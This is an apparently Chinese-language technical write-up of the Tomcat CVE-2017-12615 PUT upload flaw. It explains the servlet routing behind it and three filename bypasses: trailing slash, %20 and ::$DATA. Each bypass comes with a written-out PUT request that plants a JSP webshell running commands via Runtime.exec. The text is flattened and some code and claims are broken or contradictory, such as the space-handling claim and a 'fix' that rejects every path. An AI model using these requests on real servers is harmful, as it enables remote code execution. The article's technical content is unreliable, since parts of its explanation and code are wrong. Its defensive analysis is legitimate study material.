Tomcat 7.0.x PUT漏洞(CVE-2017-12615)原理剖析:DefaultServlet与JspServlet的3种绕过机制

Tomcat 7.0.x PUT漏洞(CVE-2017-12615)原理剖析:DefaultServlet与JspServlet的3种绕过机制 Tomcat 7.0.x PUT漏洞(CVE-2017-12615)深度解析从Servlet架构到三种绕过技术在Java Web应用安全领域Apache Tomcat作为最广泛使用的Servlet容器之一其安全性直接影响着数百万Web应用的防护水平。2017年曝光的CVE-2017-12615漏洞因其特殊的绕过机制和潜在危害性成为研究Servlet处理逻辑的经典案例。本文将深入剖析Tomcat 7.0.x版本中DefaultServlet与JspServlet的架构差异揭示三种文件后缀绕过技术背后的底层原理。1. 漏洞背景与Servlet架构基础当我们在讨论Tomcat的文件上传漏洞时实际上是在探讨Servlet容器如何处理HTTP请求的核心机制。Tomcat的请求处理流水线是一个多层次的过滤器链其中最关键的两个Servlet实现决定了文件上传的行为边界DefaultServlet作为处理静态资源的默认处理器负责处理所有未被其他Servlet接管的请求。其关键特性包括// DefaultServlet的部分源码逻辑 protected void doPut(HttpServletRequest req, HttpServletResponse resp) { if (readOnly) { resp.sendError(HttpServletResponse.SC_FORBIDDEN); return; } // 文件写入逻辑... }当readonly参数设置为false时它会允许PUT方法上传文件。JspServlet专门处理JSP/JSPX动态页面的请求其核心限制在于// JspServlet的service方法限制 public void service(HttpServletRequest req, HttpServletResponse resp) { if (!GET.equals(req.getMethod()) !POST.equals(req.getMethod())) { resp.sendError(HttpServletResponse.SC_NOT_IMPLEMENTED); return; } // JSP编译逻辑... }这两个Servlet的协同工作构成了Tomcat处理请求的基础框架也埋下了漏洞的种子。在标准配置下Tomcat通过文件扩展名决定请求路由文件类型处理Servlet支持PUT方法.jspJspServlet×.jspxJspServlet×其他DefaultServlet√ (readonlyfalse时)2. 漏洞触发条件与核心原理要使CVE-2017-12615漏洞具备可利用性必须同时满足三个关键条件Tomcat版本7.0.0至7.0.79Windows环境配置参数web.xml中显式设置param-namereadonly/param-nameparam-valuefalse/param-value操作系统特性依赖Windows文件系统特性实现绕过漏洞的本质在于请求路由与文件保存两个阶段的处理不一致。攻击者精心构造的特殊文件名可以骗过Tomcat的路由判断使其将JSP文件交给DefaultServlet处理而在实际写入文件系统时Windows的特性又会将非常规文件名标准化为合法JSP文件。以下是漏洞触发的详细流程[HTTP请求] → [Tomcat路由判断] → [DefaultServlet处理PUT] → [文件系统保存] → [后续JSP执行]3. 三种绕过技术深度剖析3.1 斜杠截断绕过/技术实现PUT /malicious.jsp/ HTTP/1.1 Host: target.com Content-Type: text/jsp Content-Length: 100 % Runtime.getRuntime().exec(request.getParameter(cmd)); %原理分析Tomcat的路由判断逻辑中会检查URI是否以.jsp或.jspx结尾添加斜杠后路径被识别为目录形式绕过JspServlet的路由规则Windows文件系统在保存时会自动去除末尾斜杠关键代码路径// org.apache.tomcat.util.http.RequestUtil.normalize() if (path.endsWith(/)) { path path.substring(0, path.length() - 1); }3.2 空格截断绕过%20技术实现PUT /malicious.jsp%20 HTTP/1.1 Host: target.com Content-Type: text/jsp Content-Length: 100 % page importjava.util.*,java.io.*%原理分析Windows NTFS文件系统不允许文件名包含空格会自动去除Tomcat的URL解码在路由判断前完成但文件保存时依赖系统行为需要特别注意访问时也需添加%20否则会触发404错误技术对比特性斜杠截断空格截断适用系统全平台仅Windows访问要求直接访问需保留%20防御难度较高中等3.3 NTFS数据流绕过::$DATA技术实现PUT /malicious.jsp::$DATA HTTP/1.1 Host: target.com Content-Type: text/jsp Content-Length: 100 % Process p Runtime.getRuntime().exec(calc); %原理分析利用NTFS备用数据流(ADS)特性::$DATA是Windows系统保留的流名称文件实际保存时会忽略流声明部分这种绕过方式在防御措施中最容易被拦截防御建议!-- 在web.xml中添加过滤规则 -- security-constraint web-resource-collection url-pattern/*/url-pattern http-methodPUT/http-method /web-resource-collection auth-constraint/ /security-constraint4. 漏洞修复与架构启示官方提供的修复方案看似简单却蕴含着深刻的架构设计考量版本升级Tomcat 7.0.81 严格校验文件名// 修复后的路径校验逻辑 if (path.endsWith(/) || path.contains(/) || path.contains(\\) || path.contains(:)) { rejectRequest(path); }配置加固!-- 正确安全配置 -- init-param param-namereadonly/param-name param-valuetrue/param-value /init-param防御深度建议组合使用以下措施文件上传白名单校验禁用不必要的HTTP方法文件存储目录设置为不可执行实时监控webapp目录变更从架构层面看这个漏洞给我们三个重要启示信任边界一致性路由判断与最终处理的逻辑必须一致默认安全原则readonly参数默认为true是正确设计深度防御需要多层校验机制而非单一依赖在容器安全领域理解Servlet处理流程的细微差别往往能发现关键突破点。通过分析这个经典漏洞我们不仅掌握了特定版本的绕过技术更重要的是学会了如何从架构角度审视安全设计的完整性。